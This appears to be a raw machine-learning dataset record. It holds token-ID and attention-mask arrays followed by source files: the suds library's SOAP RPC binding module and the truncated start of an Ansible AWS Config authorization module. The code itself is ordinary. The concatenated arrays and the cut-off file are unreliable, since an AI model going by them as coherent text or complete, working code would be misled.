8208, 360, 2977, 297, 83, 14, 602, 63, 5938, 9, 465, 1434, 63, 5938, 12, 2151, 1434, 63, 8208, 360, 2977, 297, 83, 14, 602, 63, 2019, 63, 8614, 63, 873, 9, 465, 1434, 63, 2019, 63, 8614, 63, 873, 12, 2151, 370, 63, 1560, 8, 83, 14, 981, 63, 602, 12, 283, 15703, 358, 465, 5361, 12, 2151, 370, 63, 1560, 8, 83, 14, 981, 63, 602, 12, 283, 3218, 358, 465, 5794, 12, 2151, 370, 63, 1560, 8, 83, 14, 981, 63, 602, 12, 283, 15703, 13, 3218, 13, 5745, 358, 465, 5382, 12, 2151, 308, 14, 3899, 63, 344, 12, 2151, 308, 14, 4627, 63, 344, 12, 2151, 308, 14, 751, 63, 344, 12, 2151, 308, 14, 2423, 63, 344, 12, 2151, 308, 14, 466, 63, 344, 12, 2151, 3089, 8, 83, 14, 11856, 9, 465, 2808, 12, 2151, 308, 14, 19623, 63, 344, 12, 2151, 308, 14, 6693, 12, 2151, 308, 14, 8614, 63, 344, 12, 2151, 308, 14, 2019, 63, 8614, 63, 344, 12, 2151, 3089, 8 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 5166, 492, 7249, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 199, 504, 2508, 492, 16140, 63, 264, 31365, 434, 199, 504, 5166, 14, 10788, 14, 6355, 63, 6833, 492, 6107, 63, 6833, 465, 12392, 421, 199, 533, 16140, 63, 264, 31365, 434, 63, 3070, 8, 4795, 14, 1685, 304, 272, 485, 354, 275, 298, 6271, 14, 264, 31365, 434, 14, 3070, 2, 272, 485, 1802, 275, 298, 497, 31365, 1470, 28365, 2, 272, 485, 2495, 275, 756, 272, 485, 2761, 63, 354, 275, 283, 602, 63, 981, 7, 272, 485, 1648, 275, 283, 602, 63, 981, 4328, 7, 339, 485, 3406, 275, 469, 267, 283, 751, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 470, 14, 3707, 297, 283, 1899, 297, 6863, 29, 549, 395, 267, 283, 4627, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 470, 14, 4627, 297, 283, 16063, 297, 6863, 29, 549, 395, 267, 283, 602, 63, 981, 356, 1504, 14, 2083, 360, 2499, 6148, 297, 6863, 29, 549, 395, 267, 283, 602, 63, 2019, 63, 8614, 63, 873, 356, 1504, 14, 2083, 360, 6090, 1933, 474, 6162, 297, 6863, 29, 549, 395, 267, 283, 602, 63, 5938, 356, 1504, 14, 602, 360, 15190, 297, 6863, 29, 549, 395, 267, 283, 2423, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 6271, 14, 2423, 297, 283, 2640, 1857, 15057, 297, 6753, 29, 549, 395, 267, 283, 8614, 63, 344, 356, 1504, 14, 3479, 18, 368, 661, 6271, 14, 264, 31365, 434, 14, 8614, 297, 283, 21052, 659, 267, 283, 466, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 6271, 14, 264, 31365, 434, 14, 10956, 297, 283, 26135, 850, 659, 267, 283, 19623, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 6271, 14, 19623, 1673, 872, 12493, 297, 6753, 29, 549, 395, 267, 283, 6693, 356, 1504, 14, 5592, 8, 6271, 63, 264, 31365, 434, 14, 17377, 63, 20076, 726, 19144, 12, 283, 13117, 29804, 659, 267, 283, 22025, 63, 4469, 7, 520, 1504, 14, 1609, 480, 27177, 695, 2165, 5824, 401, 7576, 63, 3357, 29, 5780, 14, 362, 63, 6833, 360, 6009, 3855, 267, 283, 22025, 63, 4469, 63, 8595, 7, 520, 1504, 14, 1609, 480, 16650, 14, 2165, 5824, 428, 279, 695, 401, 1572, 63, 3856, 628, 8595, 401, 7576, 63, 3357, 29, 5780, 14, 362, 63, 6833, 360, 6009, 3855, 267, 283, 22025, 63, 1474, 7, 520, 1504, 14, 1609, 480, 27177, 695, 13796, 401, 7576, 63, 3357, 29, 5780, 14, 362, 63, 6833, 360, 6009, 3855, 267, 283, 22025, 63, 1474, 63, 8595, 7, 520, 1504, 14, 1609, 480, 16650, 14, 13796, 428, 279, 695, 401, 1572, 63, 3856, 628, 8595, 401, 7576, 63, 3357, 29, 5780, 14, 362, 63, 6833, 360, 6009, 3855, 267, 283, 3899, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 470, 14, 3899, 297, 283, 24120, 297, 6753, 29, 549, 395, 267, 283, 4561, 356, 1504, 14, 1609, 480, 26462, 1288, 267, 283, 5814, 63, 1600, 356, 1504, 14, 1609, 360, 16650, 14, 18464, 1187, 370, 15524, 297, 7576, 2687, 975, 12, 18, 395, 6863, 29, 549, 12, 1572, 63, 3856, 628, 8595, 401, 4318, 1720, 628, 3259, 402, 577, 5758, 370, 4002, 314, 2199, 4976, 1288, 267, 283, 2019, 63, 8614, 63, 344, 356, 1504, 14, 3479, 18, 368, 661, 6271, 14, 264, 31365, 434, 14, 8614, 297, 283, 6090, 1933, 474, 659, 272, 789, 2286, 347, 4205, 8, 277, 12, 2467, 304, 267, 7249, 14, 4824, 63, 1345, 63, 692, 63, 2444, 8, 1556, 12, 283, 6271, 63, 264, 31365, 434, 63, 3070, 358, 267, 2467, 14, 2526, 4852, 288, 1218, 503, 3350, 2455, 16140, 63, 264, 31365, 434, 63, 3070, 465, 334, 326, 3504, 2151, 1748, 8, 83, 14, 344, 9, 465, 1305, 12, 2151, 308, 14, 981, 63, 602, 465, 1434, 63, 981, 12, 2151, 1434, 63, 8208, 360, 2977, 297, 83, 14, 602, 63, 5938, 9, 465, 1434, 63, 5938, 12, 2151, 1434, 63, 8208, 360, 2977, 297, 83, 14, 602, 63, 2019, 63, 8614, 63, 873, 9, 465, 1434, 63, 2019, 63, 8614, 63, 873, 12, 2151, 370, 63, 1560, 8, 83, 14, 981, 63, 602, 12, 283, 15703, 358, 465, 5361, 12, 2151, 370, 63, 1560, 8, 83, 14, 981, 63, 602, 12, 283, 3218, 358, 465, 5794, 12, 2151, 370, 63, 1560, 8, 83, 14, 981, 63, 602, 12, 283, 15703, 13, 3218, 13, 5745, 358, 465, 5382, 12, 2151, 308, 14, 3899, 63, 344, 12, 2151, 308, 14, 4627, 63, 344, 12, 2151, 308, 14, 751, 63, 344, 12, 2151, 308, 14, 2423, 63, 344, 12, 2151, 308, 14, 466, 63, 344, 12, 2151, 3089, 8, 83, 14, 11856, 9, 465, 2808, 12, 2151, 308, 14, 19623, 63, 344, 12, 2151, 308, 14, 6693, 12, 2151, 308, 14, 8614, 63, 344, 12, 2151, 308, 14, 2019, 63, 8614, 63, 344, 12, 2151, 3089, 8, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
like9729/interactive-tutorials
suds/bindings/rpc.py
209
3141
# This program is free software; you can redistribute it and/or modify # it under the terms of the (LGPL) GNU Lesser General Public License as # published by the Free Software Foundation; either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Library Lesser General Public License for more details at # ( http://www.gnu.org/licenses/lgpl.html ). # # You should have received a copy of the GNU Lesser General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # written by: Jeff Ortel ( jortel@redhat.com ) """ Provides classes for the (WS) SOAP I{rpc/literal} and I{rpc/encoded} bindings. """ from logging import getLogger from suds import * from suds.mx.encoded import Encoded as MxEncoded from suds.umx.encoded import Encoded as UmxEncoded from suds.bindings.binding import Binding, envns from suds.sax.element import Element log = getLogger(__name__) encns = ('SOAP-ENC', 'http://schemas.xmlsoap.org/soap/encoding/') class RPC(Binding): """ RPC/Literal binding style. """ def param_defs(self, method): return self.bodypart_types(method) def envelope(self, header, body): env = Binding.envelope(self, header, body) env.addPrefix(encns[0], encns[1]) env.set('%s:encodingStyle' % envns[0], 'http://schemas.xmlsoap.org/soap/encoding/') return env def bodycontent(self, method, args, kwargs): n = 0 root = self.method(method) for pd in self.param_defs(method): if n < len(args): value = args[n] else: value = kwargs.get(pd[0]) p = self.mkparam(method, pd, value) if p is not None: root.append(p) n += 1 return root def replycontent(self, method, body): return body[0].children def method(self, method): """ Get the document root. For I{rpc/(literal|encoded)}, this is the name of the method qualifed by the schema tns. @param method: A service method. @type method: I{service.Method} @return: A root element. @rtype: L{Element} """ ns = method.soap.input.body.namespace if ns[0] is None: ns = ('ns0', ns[1]) method = Element(method.name, ns=ns) return method class Encoded(RPC): """ RPC/Encoded (section 5) binding style. """ def marshaller(self): return MxEncoded(self.schema()) def unmarshaller(self, typed=True): """ Get the appropriate XML decoder. @return: Either the (basic|typed) unmarshaller. @rtype: L{UmxTyped} """ if typed: return UmxEncoded(self.schema()) else: return RPC.unmarshaller(self, typed)
apache-2.0
[ 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 334, 44, 12006, 9, 1664, 6401, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 221, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 11243, 6401, 1696, 1684, 844, 367, 1655, 2436, 737, 199, 3, 334, 1455, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 9783, 1168, 14, 1360, 7092, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8155, 15630, 10902, 446, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 12, 8217, 14, 199, 3, 5313, 701, 26, 1603, 3609, 4236, 14146, 334, 1335, 269, 14146, 32, 17164, 14, 957, 776, 199, 199, 624, 199, 17473, 3992, 367, 314, 334, 5035, 9, 26805, 473, 91, 4354, 15, 8939, 93, 436, 473, 91, 4354, 15, 8167, 93, 17792, 14, 199, 624, 199, 199, 504, 2050, 492, 28138, 199, 504, 30713, 492, 627, 199, 504, 30713, 14, 9457, 14, 8167, 492, 3447, 15282, 465, 603, 88, 32149, 199, 504, 30713, 14, 453, 88, 14, 8167, 492, 3447, 15282, 465, 738, 9457, 32149, 199, 504, 30713, 14, 10880, 14, 9140, 492, 22630, 316, 12, 2589, 561, 199, 504, 30713, 14, 14338, 14, 2108, 492, 6566, 199, 199, 793, 275, 28138, 3460, 354, 3368, 421, 199, 10945, 561, 275, 661, 4118, 1282, 13, 9415, 297, 283, 1014, 921, 9482, 14, 10198, 5770, 439, 14, 1308, 15, 21818, 15, 2991, 6217, 199, 199, 533, 11785, 8, 17490, 304, 272, 408, 272, 11785, 15, 7621, 11696, 3449, 14, 272, 408, 2286, 347, 1215, 63, 8710, 8, 277, 12, 1083, 304, 267, 372, 291, 14, 2030, 2064, 63, 1313, 8, 765, 9, 5493, 347, 24631, 8, 277, 12, 1406, 12, 2396, 304, 267, 2589, 275, 22630, 316, 14, 19707, 8, 277, 12, 1406, 12, 2396, 9, 267, 2589, 14, 525, 4793, 8, 10945, 561, 59, 16, 467, 12011, 561, 59, 17, 566, 267, 2589, 14, 409, 3508, 83, 26, 2991, 6609, 7, 450, 2589, 561, 59, 16, 467, 8892, 283, 1014, 921, 9482, 14, 10198, 5770, 439, 14, 1308, 15, 21818, 15, 2991, 6217, 267, 372, 2589, 5493, 347, 2396, 1317, 8, 277, 12, 1083, 12, 1249, 12, 2074, 304, 267, 302, 275, 378, 267, 1738, 275, 291, 14, 765, 8, 765, 9, 267, 367, 6454, 315, 291, 14, 635, 63, 8710, 8, 765, 304, 288, 340, 302, 665, 822, 8, 589, 304, 355, 574, 275, 1249, 59, 78, 61, 288, 587, 26, 355, 574, 275, 2074, 14, 362, 8, 8961, 59, 16, 566, 288, 299, 275, 291, 14, 3880, 635, 8, 765, 12, 6454, 12, 574, 9, 288, 340, 299, 365, 440, 488, 26, 355, 1738, 14, 740, 8, 80, 9, 288, 302, 847, 413, 267, 372, 1738, 2286, 347, 9351, 1317, 8, 277, 12, 1083, 12, 2396, 304, 267, 372, 2396, 59, 16, 1055, 3223, 5493, 347, 1083, 8, 277, 12, 1083, 304, 267, 408, 267, 2372, 314, 2213, 1738, 14, 221, 2104, 473, 91, 4354, 7985, 8939, 92, 8167, 16658, 642, 365, 314, 267, 536, 402, 314, 1083, 6420, 692, 379, 701, 314, 4177, 307, 561, 14, 267, 768, 635, 1083, 26, 437, 2435, 1083, 14, 267, 768, 466, 1083, 26, 473, 91, 1364, 14, 3767, 93, 267, 768, 1107, 26, 437, 1738, 1819, 14, 267, 768, 4500, 26, 491, 91, 2162, 93, 267, 408, 267, 700, 275, 1083, 14, 21818, 14, 1210, 14, 2030, 14, 3251, 267, 340, 700, 59, 16, 61, 365, 488, 26, 288, 700, 275, 661, 561, 16, 297, 700, 59, 17, 566, 267, 1083, 275, 6566, 8, 765, 14, 354, 12, 700, 29, 561, 9, 267, 372, 1083, 16872, 199, 533, 3447, 15282, 8, 8171, 304, 272, 408, 272, 11785, 15, 32149, 334, 2792, 959, 9, 221, 11696, 3449, 14, 272, 408, 339, 347, 7557, 609, 9230, 8, 277, 304, 267, 372, 603, 88, 32149, 8, 277, 14, 3629, 1012, 339, 347, 625, 28128, 9230, 8, 277, 12, 20041, 29, 549, 304, 267, 408, 267, 2372, 314, 5827, 4692, 10334, 14, 267, 768, 1107, 26, 13083, 314, 334, 4316, 92, 22033, 9, 625, 28128, 9230, 14, 267, 768, 4500, 26, 491, 91, 53, 9457, 22193, 93, 267, 408, 267, 340, 20041, 26, 288, 372, 738, 9457, 32149, 8, 277, 14, 3629, 1012, 267, 587, 26, 288, 372, 11785, 14, 324, 28128, 9230, 8, 277, 12, 20041, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 334, 44, 12006, 9, 1664, 6401, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 221, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 11243, 6401, 1696, 1684, 844, 367, 1655, 2436, 737, 199, 3, 334, 1455, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 9783, 1168, 14, 1360, 7092, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8155, 15630, 10902, 446, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 12, 8217, 14, 199, 3, 5313, 701, 26, 1603, 3609, 4236, 14146, 334, 1335, 269, 14146, 32, 17164, 14, 957, 776, 199, 199, 624, 199, 17473, 3992, 367, 314, 334, 5035, 9, 26805, 473, 91, 4354, 15, 8939, 93, 436, 473, 91, 4354, 15, 8167, 93, 17792, 14, 199, 624, 199, 199, 504, 2050, 492, 28138, 199, 504, 30713, 492, 627, 199, 504, 30713, 14, 9457, 14, 8167, 492, 3447, 15282, 465, 603, 88, 32149, 199, 504, 30713, 14, 453, 88, 14, 8167, 492, 3447, 15282, 465, 738, 9457, 32149, 199, 504, 30713, 14, 10880, 14, 9140, 492, 22630, 316, 12, 2589, 561, 199, 504, 30713, 14, 14338, 14, 2108, 492, 6566, 199, 199, 793, 275, 28138, 3460, 354, 3368, 421, 199, 10945, 561, 275, 661, 4118, 1282, 13, 9415, 297, 283, 1014, 921, 9482, 14, 10198, 5770, 439, 14, 1308, 15, 21818, 15, 2991, 6217, 199, 199, 533, 11785, 8, 17490, 304, 272, 408, 272, 11785, 15, 7621, 11696, 3449, 14, 272, 408, 2286, 347, 1215, 63, 8710, 8, 277, 12, 1083, 304, 267, 372, 291, 14, 2030, 2064, 63, 1313, 8, 765, 9, 5493, 347, 24631, 8, 277, 12, 1406, 12, 2396, 304, 267, 2589, 275, 22630, 316, 14, 19707, 8, 277, 12, 1406, 12, 2396, 9, 267, 2589, 14, 525, 4793, 8, 10945, 561, 59, 16, 467, 12011, 561, 59, 17, 566, 267, 2589, 14, 409, 3508, 83, 26, 2991, 6609, 7, 450, 2589, 561, 59, 16, 467, 8892, 283, 1014, 921, 9482, 14, 10198, 5770, 439, 14, 1308, 15, 21818, 15, 2991, 6217, 267, 372, 2589, 5493, 347, 2396, 1317, 8, 277, 12, 1083, 12, 1249, 12, 2074, 304, 267, 302, 275, 378, 267, 1738, 275, 291, 14, 765, 8, 765, 9, 267, 367, 6454, 315, 291, 14, 635, 63, 8710, 8, 765, 304, 288, 340, 302, 665, 822, 8, 589, 304, 355, 574, 275, 1249, 59, 78, 61, 288, 587, 26, 355, 574, 275, 2074, 14, 362, 8, 8961, 59, 16, 566, 288, 299, 275, 291, 14, 3880, 635, 8, 765, 12, 6454, 12, 574, 9, 288, 340, 299, 365, 440, 488, 26, 355, 1738, 14, 740, 8, 80, 9, 288, 302, 847, 413, 267, 372, 1738, 2286, 347, 9351, 1317, 8, 277, 12, 1083, 12, 2396, 304, 267, 372, 2396, 59, 16, 1055, 3223, 5493, 347, 1083, 8, 277, 12, 1083, 304, 267, 408, 267, 2372, 314, 2213, 1738, 14, 221, 2104, 473, 91, 4354, 7985, 8939, 92, 8167, 16658, 642, 365, 314, 267, 536, 402, 314, 1083, 6420, 692, 379, 701, 314, 4177, 307, 561, 14, 267, 768, 635, 1083, 26, 437, 2435, 1083, 14, 267, 768, 466, 1083, 26, 473, 91, 1364, 14, 3767, 93, 267, 768, 1107, 26, 437, 1738, 1819, 14, 267, 768, 4500, 26, 491, 91, 2162, 93, 267, 408, 267, 700, 275, 1083, 14, 21818, 14, 1210, 14, 2030, 14, 3251, 267, 340, 700, 59, 16, 61, 365, 488, 26, 288, 700, 275, 661, 561, 16, 297, 700, 59, 17, 566, 267, 1083, 275, 6566, 8, 765, 14, 354, 12, 700, 29, 561, 9, 267, 372, 1083, 16872, 199, 533, 3447, 15282, 8, 8171, 304, 272, 408, 272, 11785, 15, 32149, 334, 2792, 959, 9, 221, 11696, 3449, 14, 272, 408, 339, 347, 7557, 609, 9230, 8, 277, 304, 267, 372, 603, 88, 32149, 8, 277, 14, 3629, 1012, 339, 347, 625, 28128, 9230, 8, 277, 12, 20041, 29, 549, 304, 267, 408, 267, 2372, 314, 5827, 4692, 10334, 14, 267, 768, 1107, 26, 13083, 314, 334, 4316, 92, 22033, 9, 625, 28128, 9230, 14, 267, 768, 4500, 26, 491, 91, 53, 9457, 22193, 93, 267, 408, 267, 340, 20041, 26, 288, 372, 738, 9457, 32149, 8, 277, 14, 3629, 1012, 267, 587, 26, 288, 372, 11785, 14, 324, 28128, 9230, 8, 277, 12, 20041, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
TalShafir/ansible
lib/ansible/modules/cloud/amazon/aws_config_aggregation_authorization.py
35
5272
#!/usr/bin/python # Copyright: (c) 2018, Aaron Smith <ajsmith10381@gmail.com> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = r''' --- module: aws_config_aggregation_authorization short_description: Manage cross-account AWS Config authorizations description: - Module manages AWS Config resources version_added: "2.6" requirements: [ 'botocore', 'boto3' ] author: - "Aaron Smith (@slapula)" options: state: description: - Whether the Config rule should be present or absent. default: present choices: ['present', 'absent'] authorized_account_id: description: - The 12-digit account ID of the account authorized to aggregate data. authorized_aws_region: description: - The region authorized to collect aggregated data. extends_documentation_fragment: - aws - ec2 ''' EXAMPLES = r''' - name: Get current account ID aws_caller_facts: register: whoami - aws_config_aggregation_authorization: state: present authorized_account_id: '{{ whoami.account }}' authorzed_aws_region: us-east-1 ''' RETURN = r'''#''' try: import botocore from botocore.exceptions import BotoCoreError, ClientError except ImportError: pass # handled by AnsibleAWSModule from ansible.module_utils.aws.core import AnsibleAWSModule from ansible.module_utils.ec2 import boto3_conn, get_aws_connection_info, AWSRetry from ansible.module_utils.ec2 import camel_dict_to_snake_dict, boto3_tag_list_to_ansible_dict def 